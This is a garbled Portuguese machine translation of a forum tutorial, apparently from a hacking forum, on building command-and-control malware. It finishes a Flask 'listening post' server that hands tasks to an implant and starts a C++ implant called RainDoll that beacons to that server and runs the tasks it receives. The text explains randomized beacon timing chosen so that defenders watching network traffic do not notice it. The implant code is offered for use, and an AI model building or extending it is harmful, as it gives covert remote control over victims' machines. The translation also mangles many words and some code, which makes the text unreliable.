return Response(Task.objects.skip(Task.objects.count() - obj_num) .to_json(),
mimetype="application/json",
status=200)


class Results(Resource):
# ListResults
def get(self):
# Obtém todos os objetos de resultado e os retorna para o usuário
results = Result.objects() .to_json()
return Response(results, mimetype="application.json", status=200)

# AddResults
def post(self):
# Verifica se os resultados do implante estão preenchidos
if str(request.get_json()) != ' {}':
# Analise o resultado JSON que queremos adicionar ao banco de dados
body = request.get_json()
print("Received implant response: {}".format(body))
json_obj = json.loads(json.dumps(body))
# Adicionar um UUID de resultado a cada objeto de resultado para rastreamento
json_obj['result_id'] = str(uuid.uuid4())
Result(**json_obj).save()
# Serve as últimas tarefas para implantar
tarefas = Task.objects(). to_json()
# Limpa as tarefas para que não sejam executadas duas vezes
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)
else:
# Serve as últimas tarefas para implantar
tasks = Task .objects().to_json()
# Limpa as tarefas para que não sejam executadas duas vezes
Task.objects().delete()
return Response(tasks, mimetype="application/json", status=200)


class History(Resource):
# ListHistory
def get(self):
# Obtenha todos os objetos do histórico de tarefas para que possamos retorná-los ao usuário
task_history = TaskHistory. objects().to_json()
# Atualize quaisquer tarefas atendidas com os resultados do implante
# Obtenha todos os objetos de resultado e retorne-os ao usuário
results = Result.objects().to_json()
json_obj = json.loads(results)
# Formate cada um resultado do implante para ser mais amigável para consumo/exibição
result_obj_collection = []
for i in range(len(json_obj)):
for field in json_obj:
result_obj = {
"task_id": field,
"task_results": json_obj[ i][campo]
}
result_obj_collection.append(result_obj)
# Para cada resultado na coleção, verifique um ID de tarefa correspondente e, se
# houver uma correspondência, atualize-a com os resultados. Isso é hacky e provavelmente há
# uma solução mais elegante para atualizar as tarefas com seus resultados quando elas chegam...
for result in result_obj_collection:
if TaskHistory.objects(task_id=result["task_id"]):
TaskHistory.objects(task_id= result["task_id"]).update_one(
set__task_results=result["task_results"])
return Response(task_history, mimetype="application/json", status=200)
A última coisa a adicionar para ter uma API ListHistory totalmente funcional é adicionar o seguinte ao arquivo listening_post.py:

Pitão:Copiar para área de transferência
# Defina as rotas para cada um de nossos recursos
api.add_resource(resources.Tasks, '/tasks', endpoint='tasks')
api.add_resource(resources.Results, '/results')
api.add_resource(resources.History, ' /história')
Isso é tudo! Você encontrará o Projeto completo do posto de escuta Skytree na pasta Chapter_2-4 . Você pode obter uma lista do histórico de tarefas visitando o ponto de extremidade ListHistory ( http://127.0.0.1:5000/history ). Estará vazio se você não fez nenhuma solicitação AddTask Se você fizer uma solicitação AddTask agora com uma tarefa de ping e depois chamar ListHistory, deverá obter uma resposta semelhante a esta:

Pitão:Copiar para área de transferência
[
{
"_id": {
"$oid": "5f3760aa50954f9c61397b8e"
},
"task_object": "[{\"task_type\": \"ping\", \"task_id\": \"59906de7-8739-4738- a69d-864f9a37cb3b\"}]",
"task_id": "59906de7-8739-4738-a69d-864f9a37cb3b",
"task_type": "ping",
"task_options": [],
"task_results": ""
}
]
Você verá que o objeto TaskHistory consiste no objeto de tarefa JSON original que foi enviado para o implante e nos parâmetros de tarefa fornecidos. Quando o implantado retornar um resultado, o campo task_results será atualizado com o conteúdo do resultado.

Conclusão

Parabens pelo trabalho bem feito! Se você chegou a esse ponto, agora tem um posto de escuta HTTP em funcionamento com o qual nosso implantado pode conversar! Podemos usar isso para enviar novas tarefas ao nosso implante e receber os resultados das tarefas que enviamos. Também temos a capacidade de associar tarefas específicas a resultados e exibir um histórico de tarefas enviadas pelos agentes.

Vale reiterar que este é um post bem simples de ouvir, mas que aborda os elementos básicos que um Sistema de comando e controle deve oferecer. Enquanto você está apenas começando, é bom manter as coisas simples e trabalhar em métodos/recursos mais avançados quando estiver confiante no básico. Alguns exemplos do que pode ser construído no futuro incluem:

- Controles de login/autorização -
API de gerenciamento de usuários
- Configuração inicial/script de instalação após

a escuta a lume próximo componente importante do nosso Projeto C2.

Meus planos para 2022 são aumentar e levar o dano para o próximo nível.
Iniciativa para traduzir. documentos para CS 4.3 - https://xss.is/threads/50543/ - !FEITO!
Você pode ajudar no Brintellix aqui - BC1QHDMKZL8FX77HDGZKKJS6XFRSWG460FJQQTTMRG
gosta Citar Responder
uma queixa
  • gosta
Capítulo 3: Fundamentos e Tarefas do Implante

Criando um C++ básico implantado e adicionando novas tarefas.

1669322546877.png


Introdução

Neste capítulo, criaremos um básico implantado chamado RainDoll completando algumas tarefas simples. As tarefas serão:

- Ping: ao receber uma mensagem de ping, responda com uma mensagem de pong.
- Configurar: Defina os parâmetros específicos do implante, como o estado operacional e o tempo de atraso.
- Executar: Executa comandos do Sistema operacional fornecidos pelo usuário.
- ListThreads : Lista de threads neste processo.


Este implantado irá se comunicar com o post listener HTTP ( Skytree ) que criamos no capítulo anterior. O código-fonte do implante é amplamente baseado no Projeto https://twitter.com/jalospinoso, e apenas pequenas alterações foram feitas no código. Foi lançado como parte de sua palestra sobre Implantando com C++ Moderno chamada "C++ para Hackers" (

). Eu recomendo verificar o github dele e conferir https://github.com/JLospinoso/cpp-implant . A palestra é muito fácil para um iniciante entender e, ao longo do caminho, você aprenderá alguns truques interessantes da linguagem C++ moderna. Se você estiver interessado em C++, considere verificar seu livro sobre o assunto chamado C++ Crash Course ( https://nostarch.com/cppcrashcourse ).

Pré-requisitos e arquivos de origem


Para o desenvolvimento, trabalharemos em um sistema Windows 10 de 64 bits. Este Projeto usará várias bibliotecas diferentes, incluindo o Boost. Se você nunca ouviu falar do Boost, é um ótimo recurso para rushar o desenvolvimento com uma ampla gama de soluções prontas para tarefas comuns de programação. Por que você camel usa as bibliotecas do Boost? De acordo com aquele site Boost:

Em uma bragging - Desempenho. O uso de bibliotecas de alta qualidade como o Boost acera o desenvolvimento inicial, resulta em menos bugs, reduz a necessidade de reinventar a roda e reduz os custos de manutenção de longo prazo. E como as bibliotecas Boost tendem a se tornar padrões de fato ou de jure, muitos programadores já estão familiarizados com elas.


Também usaremos consultas C++ ( https://github.com/whoshuu/cpr) e JSON para C++ moderno ( https://github.com/nlohmann/json ). Isso nos ajuda a enviar facilmente HTTP com C++ e processar JSON sem muitos problemas. Por fim, usaremos muito https://visualstudio.microsoft.com/downloads/ e você precisa ter certeza de que está instalado/configurado para usar a carga de trabalho C++ Desktop Development (para obter ajuda na configuração de toda essa configuração, consulte o link aqui - https://devblogs.microsoft.com/cppblog/getting-started-with-visual-studio-for-c-and-cpp-development/

Então, sem mais delongas, vamos começar! gerenciador de pacotes https:/ /docs.microsoft.com/en-us/cpp/build/vcpkg?view=msvc-160 (Para obter instruções de início rápido no Windows, consulte o link aqui https://github.com/Microsoft/vcpkg#quick-start-windows ). Certifique-se de que está carregado/baixado em algum lugar como C:\dev\vcpkg e, em seguida, execute os seguintes comandos em um prompt de comando elevado do PowerShell:

Integrar vcpkg com o Visual Studio 2019

1669322625989.png

Instalar pacotes necessários

1669322635176.png


Em particular, a instalação das bibliotecas Boost provavelmente levará algum tempo, então pegue uma xícara de chá ou café enquanto espera. Depois que os pré-requisitos estiverem instalados, podemos usá-los com sucesso em nosso Projeto do Visual Studio. Como alternativa, o Boost pode ser instalado manualmente usando o guia de introdução https://www.boost.org/doc/libs/1_74_0/more/getting_started/windows.html ,
e o JSON for Modern C++ pode ser baixado como um cabecalho aqui https://github.com/nlohmann/json/releases/download/v3.9.1/json.hpp . Atualmente, as consultas C++ podem ser criadas usando vcpkg ou Conan conforme descrito aqui https://github.com/whoshuu/cpr#building-cpr---using-vcpkg .

Vamos começar a construir nosso implante abrindo o Visual Studio 2019 e criando um Projeto vazio chamado "RainDoll", verifique se a linguagem usada é C++ 17. Você pode verificar isso olhando a seguinte opção: RainDoll Property Pages Padm > General > Padrao ISO C+ +17.

Crie um arquivo e chame-o de main.cpp na pasta de arquivos de origem. Comecaremos especificando os detalhes do posto de escuta que construímos no capítulo anterior:

C++: Copiar para área de transferência
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include <stdio.h>

int main()
{
// Especifique o endereço, porta e URI do terminal de escuta
const auto host = "localhost";
porta automática const = "5000";
const auto uri = "/resultados";
}
Títulos do Projeto de Implante

Vamos agora começar a enterrar os detalhes do nosso objeto de Implante, começando pelos títulos. Crie um novo arquivo chamado implant.h na pasta Headers Files no Solution Explorer e adicione o seguinte código:

C++: Copiar para área de transferência
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "tasks.h"

#include <string>
#include <string_view>
#include <mutex>
#include <future>
#include <atomic>
#include <vector>
#include <random>

#include <boost/property_tree/ptree.hpp>

struct Implant {
// Nosso construtor de implante
Implant(std::string host, std::string port, std::string uri);
// O encadeamento para tarefas de serviço
std::future<void> taskThread;
// Nossas funções públicas que o implante expõe
void beacon();
void setMeanDwell(double averageDwell);
void setRunning(bool isRunning);
void serviceTasks();

privado:
// Ouvindo post endpoint args
const std::string host, port, uri;
// Variáveis para configuração do implante, tempo de permanência e status de execução
std::exponencial_distribution<double>habitarDistributionSeconds;
std::atomic_bool isRunning;
// Definir nossos mutexes, já que estamos fazendo coisas assíncronas de I/O
std::mutex taskMutex, resultsMutex;
// Onde armazenamos nossos resultados
boost::property_tree::ptree results;
// Onde armazenamos nossas tarefas
std::vector<Task> tasks;
// Gera dispositivo aleatório
std::random_device device;

void parseTasks(const std::string&resposta);
[[nodiscard]] std::string sendResults();
};

[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload);
Passaremos por um bloco de código por vez e exlicarei o propósito de cada eleição.

C++: Copiar para área de transferência
// Nosso construtor de implante
Implant(std::string host, std::string port, std::string uri);
// O encadeamento para tarefas de serviço
std::future<void> taskThread;
// Nossas funções públicas que o implante expõe
void beacon();
void setMeanDwell(double averageDwell);
void setRunning(bool isRunning);
void serviceTasks();
Primeiro, definimos o construtor Implant. Em seguida, declaramos um thread que atenderá nossas tarefas para que possamos fazer o trabalho de forma assíncrona. Em seguida, definimos quatro funções públicas. precisamos de uma função que faça o loop do beacon e se comunique constantemente com nosso posto de escuta. Também queremos ter recursos relacionados à configuração do implante, como enterro o tempo de espera entre os beacons (tempo de espera) e o estado operacional (ligado/desligado). Por fim, queremos ter uma função que fará um loop por todas as tarefas recebidas do posto de escuta e as executará no destino:

Depois de escrever o código acima, começaremos a definir ilha variável e funções money:

C++: Copiar para área de transferência
private:
// Ouvindo post endpoint args
const std::string host, port, uri;
// Variáveis para configuração do implante, tempo de permanência e status de execução
std::exponencial_distribution<double>habitarDistributionSeconds;
std::atomic_bool isRunning;
// Definir nossos mutexes, já que estamos fazendo coisas assíncronas de I/O
std::mutex taskMutex, resultsMutex;
// Onde armazenamos nossos resultados
boost::property_tree::ptree results;
// Onde armazenamos nossas tarefas
std::vector<Task> tasks;
// Gera dispositivo aleatório
std::random_device device;

void parseTasks(const std::string&resposta);
[[nodiscard]] std::string sendResults();
Definimos variáveis para armazenar informações sobre nosso posto de escuta. Em seguida, declaramos uma variável para o tempo de atraso e um booleano simples para o estado de execução. A variável habitatDistributionSeconds usa uma distribuição exponencial para obter um número variável de segundos para atraso, garantindo que o padrão do link não seja esperado como uma taxa constante. Não queremos que o tempo entre nossa seleção de beacon seja constante porque isso parece muito suspeito para um analista que pode visualizar as comunicações de rede. Em seguida, declaramos algumas variáveis mutex que usaremos para garantir que nossa E/S assíncrona para tarefas e resultados não interaja com coisas quando não deveria. Usaremos a árvore de propriedades da biblioteca Boost para armazenar nossos resultados e passar o tipo de tarefa para o modelo de vetor. Ainda não definimos o tipo de problema, então haverá um rabisco verde embaixo dele, mas adicionaremos isso mais tarde. A última variável privada é para gerar um número pseudo-aleatório.

Quanto às nossas funções privadas, declararemos uma função para analisar as tarefas da resposta da postagem do ouvinte e uma função para enviar os resultados da tarefa para a postagem do ouvinte. Você notará que temos um atributo "[[nodiscard]]" anexado à função "sendResults()". Esse atributo significa que, se o valor de retorno da função não for usado, o compilador deve emitir um aviso porque algo está errado. Nunca esperamos estar em uma situação em que fazemos uma chamada para enviar resultados e descartamos o valor de retorno. Para saber mais sobre o atributo "[[nodicard]]", consulte os recursos aqui https://en.cppreference.com/w/cpp/language/attributes/nodicard e aqui https://www.bfilipek.com/2017 / 11/nodicard.html .

Além do objeto Implant, também declararemos uma função para fazer requisições HTTP ao posto de escuta. Ele receberá o host, a porta e o URI como argumentos, junto com a carga útil que queremos enviar:

C++: Copiar para área de transferência
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload);
Feito o cabecalho do implantado, agora vamos para a definição de nossas tarefas. Crie um novo arquivo em Arquivos de cabecalho no Solution Explorer e nomeie-o como tasks.h. Quando terminarmos, ele contém o seguinte código:


C++: Copiar para área de transferência
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_treepp/


// Definir implante configuração
struct Configuração {
Configuração (double meanDwell, bool isRunning);
const double meanDwell;
const bool está em execução;
};


// Tarefas
// ================================================ ==== =================================================

// PingTask
/ / --------------------------------------------- ---- ------------------------------------------
struct PingTask {
PingTask(const boost::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
};


// ConfigureTask
// --------------------------------------------- ----------------------------------------------
struct ConfigureTask {
ConfigureTask (const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configurar" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool está em execução;
};


// ================================================ == ===========================================

// LEMBRE -SE : Quaisquer novas tarefas devem ser adicionadas aqui também!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Tarefa parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include "results.h"

#include <variant>
#include <string>
#include <string_view>

#include <boost/uuid/uuid.hpp>
#include <boost/property_treepp/




Configuration(double meanDwell, bool isRunning);
const double meanDwell;
const bool está em execução;
};


// Tarefas
// ================================================ ==== =================================================

// PingTask
/ / --------------------------------------------- ---- ------------------------------------------
struct PingTask {
PingTask (aumento constante: :uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
};


// ConfigureTask
// --------------------------------------------- ----------------------------------------------
struct ConfigureTask {
ConfigureTask(const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configurar" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool está em execução;
};


// ================================================ == ===========================================

// LEMBRE -SE : Quaisquer novas tarefas devem ser adicionadas aqui também!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Tarefa parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
A primeira coisa que fazemos é definir nosso objeto de configuração, que conterá as configurações do tempo de residência do implante e do estado operacional:

C++: Copiar para área de transferência
// Definir a configuração do implante
struct Configuration {
Configuration(double meanDwell, bool isRunning);
const double meanDwell;
const bool está em execução;
};
Em seguida, vamos enterrar uma tarefa de ping simples:

C++: Copiar para área de transferência
// PingTask
// --------------------------------------------- ----------------------------------------------
struct PingTask {
PingTask (aumento constante::uuids::uuid& id);
constexpr static std::string_view key{ "ping" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
};
Após o construtor, fornecemos uma chave para identificar a tarefa e a conduta de "ping". Em seguida, declaramos uma função "run()" que retornará um objeto Result e marcaremos como "nodiscard". Ainda não definimos o objeto Result, então ele será renderizado com um rabisco verde na parte inferior. No entanto, adicionaremos isso mais tarde, então não se preocupe com isso por enquanto. Por fim, especificamos um UUID para ajudar a acompanhar as tarefas individuais que estão sendo executadas.

Em seguida, trabalharemos em uma tarefa de configuração que definirá o tempo limite e o status do trabalho:


C++: Copiar para área de transferência
// ConfigureTask
// --------------------------------------------- ----------------------------------------------
struct ConfigureTask {
ConfigureTask (const boost::uuids::uuid& id,
double meanDwell,
bool isRunning,
std::function<void(const Configuration&)> setter);
constexpr static std::string_view key{ "configurar" };
[[nodiscard]] Resultado run() const;
const boost::uuids::uuid id;
private:
std::function<void(const Configuration&)> setter;
const double meanDwell;
const bool está em execução;
};
Após o construtor, definimos uma chave para identificar a tarefa e a atitude de "configurar". O restante do código é o mesmo da tarefa ping, exceto que temos algumas variáveis privadas para manter o valor médio do atraso e o estado atual.

Por fim, declaramos uma função que será responsável por analisar as tarefas que teciduais do posto de escuta:

C++: Copiar para área de transferência
// LEMBRE-SE: Quaisquer novas tarefas devem ser adicionadas aqui também!
using Task = std::variant<PingTask, ConfigureTask>;

[[nodiscard]] Tarefa parseTaskFrom(const boost::property_tree::ptree& taskTree,
std::function<void(const Configuration&)> setter);
É hora de preencher o conteúdo do nosso último arquivo de cabecalho, crie um arquivo chamado results.he verifique se ele foi criado na Seção "Headers". Escreveremos o seguinte código:

C++: Copiar para área de transferência
#pragma once

#define _SILENCE_CXX17_C_HEADER_DEPRECATION_WARNING

#include <string>
#include <boost/uuid/uuid.hpp>

// Define nosso objeto
Result struct Result { Result(const boost:: uuids
::uuid& id, stdol : success); const boost::uuids::uuid id; const std::string conteúdo; sucesso do bool const; };





O objeto de resultados conterá um UUID para acompanhar cada resultado que retorna, uma variável de string para armazenar o conteúdo do resultado e um valor booleano para sinalizar a conclusão bem-sucedida da tarefa. Finalmente estamos prontos para abrir o main.cpp novamente e adicionar o restante do nosso código principal abaixo das variáveis do ponto de extremidade da postagem do ouvinte:

C++: Copiar para área de transferência
// Instancia nosso objeto de implante
Implant implant{ host, port, uri };
// Chame o método beacon para iniciar o loop beaconing
try {
implant.beacon();
}
catch (const boost::system::system_error& se) {
printf("\nErro do sistema: %s\n", se.what());
}
Como você pode ver no código acima, instanciamos um objeto Implant com os detalhes do post do ouvinte e então seguimos a função "beacon()" para iniciar o loop do beacon. O conteúdo completo do arquivo main.cpp camel ficará assim:

C++: Copiar para área de transferência
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "implant.h"

#include <stdio.h>

#include <boost/system/system_error.hpp>


int main()
{
// Especifique o endereço, porta e URI do endpoint de postagem de escuta
const auto host = "localhost";
porta automática const = "5000";
const auto uri = "/resultados";
// Instancia nosso objeto de implante
Implant implant{ host, port, uri };
// Chame o método beacon para iniciar o loop beaconing
try {
implant.beacon();
}
catch (const boost::system::system_error& se) {
printf("\nErro do sistema: %s\n", se.what());
}
}
Uau, quanto trabalho foi necessário para criar o modelo para o nosso implantado! Implantado mas agora estamos prontos para mergulhar nos mínimos detalhes da lógica do nosso.

Código do Implante

O código que você camel ter agora pode ser encontrado em uma pastry chamada "chapter_3-1". Agora crie um novo arquivo e nomeie-o como implant.cpp, certifique-se de que ele foi criado em Source Files. Nesta parte do capítulo, escreveremos o seguinte código, não se preocupe se você não entender tudo. Vou cobrir cada Seção principal em breve:

C++: Copiar para área de transferência
#ifdef _WIN32
#define WIN32_LEAN_AND_MEAN
#endif

#include "implant.h"
#include "tasks.h"

#include <string>
#include <string_view>
#include <iostream>
#include <chrono>
#include <algorithm>

#include < boost/uuid/uuid_io.hpp>
#include <boost/property_tree/json_parser.hpp>
#include <boost/property_tree/ptree.hpp>

#include <cpr/cpr.h>

#include <nlohmann/json.hpp>

usando json = nlohmann::json;


// Função para enviar uma solicitação HTTP POST assíncrona com uma carga para o posto de escuta
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std:
std::string_view payload) {
// Define todas as nossas constantes de solicitação
auto const serverAddress = host;
auto const serverPort = porta;
auto const serverUri = uri;
auto const httpVersão = 11;
auto const requestBody = json::parse(payload);

// Construir nosso URL de terminal de escuta a partir dos argumentos do usuário, somente HTTP para iniciar
std::stringstream ss;
ss << "http://" << serverAddress << ":" << serverPort << serverUri;
std::string fullServerUrl = ss.str();

// Faça uma solicitação HTTP POST assíncrona para a postagem de escuta
cpr::AsyncResponse asyncRequest = cpr::postAsync(cpr::Url{ fullServerUrl },
cpr::Body{ requestBody.dump() },
cpr::Header{ {" Tipo de conteúdo", "

// Recupera a resposta quando estiver pronta
cpr::Response response = asyncRequest.get();

// Mostra o conteúdo da requisição
std::cout << "Request body: " << requestBody << std::endl;

// Retorna o corpo da resposta do posto de escuta, pode incluir novas tarefas
return response.text;
};

// Método para ativar/desativar o status de execução em nosso implante
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }


// Método para definir o tempo médio de permanência em nosso implante
void Implant::setMeanDwell(double meanDwell) {
// Exponential_distribution permite a geração aleatória de
jitterhabitDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}

// Método para enviar resultados de tarefas e receber novas tarefas
[[nodiscard]] std::string Implant::sendResults() {
// Variável de resultados locais
boost::property_tree::ptree resultsLocal;
// Um bloqueio com escopo para executar uma troca
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
resultadosLocal.swap(resultados);
}
// Formata o conteúdo do resultado
std::stringstream resultsStringStream;
boost::property_tree::write_json(resultsStringStream, resultsLocal);
// Entre em contato com a postagem de escuta com os resultados e retorne todas as tarefas recebidas
return sendHttpRequest(host, port, uri, resultsStringStream.str());
}

// Método para analisar as tarefas recebidas do post de escuta
void Implant::parseTasks(const std::string& response) {
// Variável de resposta local
std::stringstream responseStringStream{ resposta };

// Lê a resposta da postagem de escuta como JSON
boost::property_tree::ptree tasksPropTree;
boost::property_tree::read_json(responseStringStream, tasksPropTree);

// Loop for baseado em intervalo para analisar tarefas e colocá-las no vetor de tarefas
// Uma vez feito isso, as tarefas estão prontas para serem atendidas pelo implante
for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
// A bloqueio com escopo para enviar tarefas para o vetor, enviar a árvore de tarefas e o configurador para a tarefa de configuração
{
tasks.push_back(
parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
setMeanDwell(configuration.meanDwell);
setRunning(configuration.isRunning); })
);
}
}
}

// Faz um loop e percorre as tarefas recebidas do posto de escuta e, em seguida, atende-as
void Implant::serviceTasks() {
while (isRunning) {
// Variável de tarefas locais
std::vector<Task> localTasks;
// Bloqueio com escopo para executar uma troca
{
std::scoped_lock<std::mutex> taskLock{ taskMutex };
tarefas.swap(localTasks);
}
// Loop for baseado em intervalo para chamar o método run() em cada tarefa e adicionar os resultados das tarefas
para (const auto& task: localTasks) {
// Chame run() em cada tarefa e receberemos os valores de volta para id, conteúdo e sucesso
const auto [id, conteúdo, sucesso] = std::visit([](const auto& tarefa) {return task.run(); }, tarefa);
// Bloqueio com escopo para adicionar resultados da tarefa
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
results.add(boost::uuids::to_string(id) + ".contents", content);
results.add(boost::uuids::to_string(id) + ".success", sucesso);
}
}
// Vai dormir
std::this_thread::sleep_for(std::chrono::seconds{ 1 });
}
}

// Método para iniciar o beaconing para o posto de escuta
void Implant::beacon() {
while (isRunning) {
// Tenta entrar em contato com o posto de escuta e enviar resultados/recuperar tarefas
// Então, se as tarefas foram recebidas, analisa e armazená-los para execução
// As tarefas armazenadas serão atendidas pelo encadeamento de tarefas de forma assíncrona
try {
std::cout << "RainDoll está enviando resultados para o post de escuta...\n" << std::endl;
const auto serverResponse = sendResults();
std::cout << "\nListening post response content: " << serverResponse << std::endl;
std::cout << "\nAnalisando tarefas recebidas..." << std::endl;
parseTasks(servidorResposta);
std::cout << "\n=========================================== === =======\n" << std::endl;
}
catch (const std::exception& e) {
printf("\nErro de sinalização: %s\n", e.what());



const auto sleepTimeChrono = std::chrono::seconds{ static_cast<unsigned long long>(sleepTimeDouble) };

std::this_thread::sleep_for(sleepTimeChrono);
}
}

// Inicializar variáveis para nosso objeto
Implant::Implant(std::string host, std::string port, std::string uri) :
// Ouvindo argumentos de URL post endpoint
host{ std::move(host) } ,
port{ std::move(port) },
uri{ std::move(uri) },
// Opções para definições de configuração
isRunning{ true },
habitDistributionSeconds{ 1. },
// Thread que executa todas as nossas tarefas, executa taskThread de E/S
assíncrona{ std::async(std::launch::async, [this] { serviceTasks(); }) } {
}
A primeira coisa que faremos é escrever uma função para fazer qualificação HTTP ao posto de escuta. Esta Seção usa C++ ( https://github.com/whoshuu/cpr ) e JSON para C++ moderno ( https://github.com/nlohmann/json ). Certifique-se de que ambos os cabecalhos sejam carregados e disponíveis para uso no Projeto antes de escrever o restante do código do implante:

C++: Copiar para área de transferência
// Função para enviar uma solicitação HTTP POST assíncrona com uma carga para o posto de escuta
[[nodiscard]] std::string sendHttpRequest(std::string_view host,
std::string_view port,
std::string_view uri,
std::string_view payload) {
// Definir todas as nossas constantes de solicitação
auto const serverAddress = host;
auto const serverPort = porta;
auto const serverUri = uri;
auto const httpVersão = 11;
auto const requestBody = json::parse(payload);

// Construir nosso URL de terminal de escuta a partir dos argumentos do usuário, somente HTTP para iniciar
std::stringstream ss;
ss << "http://" << serverAddress << ":" << serverPort << serverUri;
std::string fullServerUrl = ss.str();

// Faça uma solicitação HTTP POST assíncrona para a postagem de escuta
cpr::AsyncResponse asyncRequest = cpr::postAsync(cpr::Url{ fullServerUrl },
cpr::Body{ requestBody.dump() },
cpr::Header{ {" Content-Type", "aplicativo/json"} }
);
// Recupera a resposta quando estiver pronta
cpr::Response response = asyncRequest.get();

// Mostra o conteúdo da requisição
std::cout << "Request body: " << requestBody << std::endl;

// Retorna o corpo da resposta do posto de escuta, pode incluir novas tarefas
return response.text;
};
Começamos definindo todas as constantes para a solicitação HTTP, incluindo o endereço e a porta do servidor, a versão do protocolo HTTP (1.1) e o corpo da solicitação, que conterá nossa carga JSON. Em seguida, construímos uma URL completa do servidor a partir das constantes e fazemos uma solicitação HTTP POST assíncrona para o servidor com o corpo da solicitação. O corpo da solicitação conterá os resultados de todas as tarefas executadas anteriormente. Por fim, armazenamos a resposta e retornamos o texto da resposta para a função de chamada.

Na próxima seção, veremos as funções necessárias para configurar o estado operacional do implante e o tempo médio de espera:

C++: Copiar para área de transferência
// Método para ativar/desativar o status de execução em nosso implante
void Implant::setRunning(bool isRunningIn) { isRunning = isRunningIn; }


// Método para definir o tempo médio de permanência em nosso implante
void Implant::setMeanDwell(double meanDwell) {
// Exponential_distribution permite a geração aleatória de
jitterhabitDistributionSeconds = std::exponential_distribution<double>(1. / meanDwell);
}
A função setRunning() recebe um valor booleano e define o sinalizador "isRunning". Isso dirá ao implantado se ele camel continuar executando o código da tarefa ou se camel sair e interromper todo o funcionamento. A função "setMeanDwell" dirá ao implantar com que frequência ele camel entrar em contato com o posto de escuta para obter instruções ou quanto tempo camel "atrasar". Novamente, geralmente é uma ideia ter um tempo de atraso constante, porque ele se destaca como um triunfo dolorido nos logs de rede. Se o defensor olhar para o tráfego de rede e perceber que algo é enviado para a Internet a cada 5 minutos, como um relógio. Este é o tipo de coisa que precisa de uma investigação mais aprofundada. No entanto, se, como a maioria do tráfego que vai para a Internet, sua latência por menos consistente, você estará vazando mais. É por isso,

Em seguida, considere a função de enviar os resultados da tarefa para o posto de escuta:

C++: Copiar para área de transferência
// Método para enviar resultados de tarefas e receber novas tarefas
[[nodiscard]] std::string Implant::sendResults() {
// Variável de resultados locais
boost::property_tree::ptree resultsLocal;
// Um bloqueio com escopo para executar uma troca
{
std::scoped_lock<std::mutex> resultsLock{ resultsMutex };
resultadosLocal.swap(resultados);
}
// Formata o conteúdo do resultado
std::stringstream resultsStringStream;
boost::property_tree::write_json(resultsStringStream, resultsLocal);
// Entre em contato com a postagem de escuta com os resultados e retorne todas as tarefas recebidas
return sendHttpRequest(host, port, uri, resultsStringStream.str());
}
Usamos o tipo Boost https://www.boost.org/doc/libs/1_65_1/doc/html/property_tree.html para armazenar os resultados no formato JSON. Usaremos um bloqueio com escopo ( https://en.cppreference.com/w/cpp/thread/scoped_lock ) para trocar os valores do resultado na variável local "resultsLocal". O uso de um bloqueio com escopo é necessário porque estamos fazendo algo de forma assíncrona e queremos ter certeza de que não pisaremos nos botões de outro fio enquanto alternamos para obter os resultados da tarefa. Por fim, formatamos o conteúdo do resultado e passamos o corpo da solicitação para a função "sendHttpRequest" para entregar ao nosso post de escuta.

Agora que temos uma função para enviar resultados, vamos dar uma sensação na função "parseTasks" para lidar com tarefas de implantadas:

C++: Copiar para área de transferência
// Método para analisar tarefas recebidas da escuta post
void Implant::parseTasks(const std::string& response) {
// Variável de resposta local
std::stringstream responseStringStream{ response };

// Lê a resposta da postagem de escuta como JSON
boost::property_tree::ptree tasksPropTree;
boost::property_tree::read_json(responseStringStream, tasksPropTree);

// Loop for baseado em intervalo para analisar tarefas e colocá-las no vetor de tarefas
// Uma vez feito isso, as tarefas estão prontas para serem atendidas pelo implante
for (const auto& [taskTreeKey, taskTreeValue] : tasksPropTree) {
// A bloqueio com escopo para enviar tarefas para o vetor, enviar a árvore de tarefas e o configurador para a tarefa de configuração
{
tasks.push_back(
parseTaskFrom(taskTreeValue, [this](const auto& configuration) {
setMeanDwell(configuration.meanDwell);
setRunning(configuration.isRunning); })
);
}
}
}
A primeira coisa que fazemos é declarar uma variável String Stream para conter a resposta com as tarefas que sentimos do posto de escuta. Lemos a resposta como uma mensagem JSON e, para cada par chave-valor, os colocamos em um vetor chamado "tarefas". Também seguiram as funções de configuração "setMeanDwell" e "setRunning" para configurar o implantado.

Estamos quase terminando de revisar todo o código na seleção de implante, a última coisa que precisamos fazer é revisar todas as tarefas e executar o código para executá-las em um thread dedicado. Vamos falar sobre a função "serviceTasks":

C++: Copiar para área de transferência
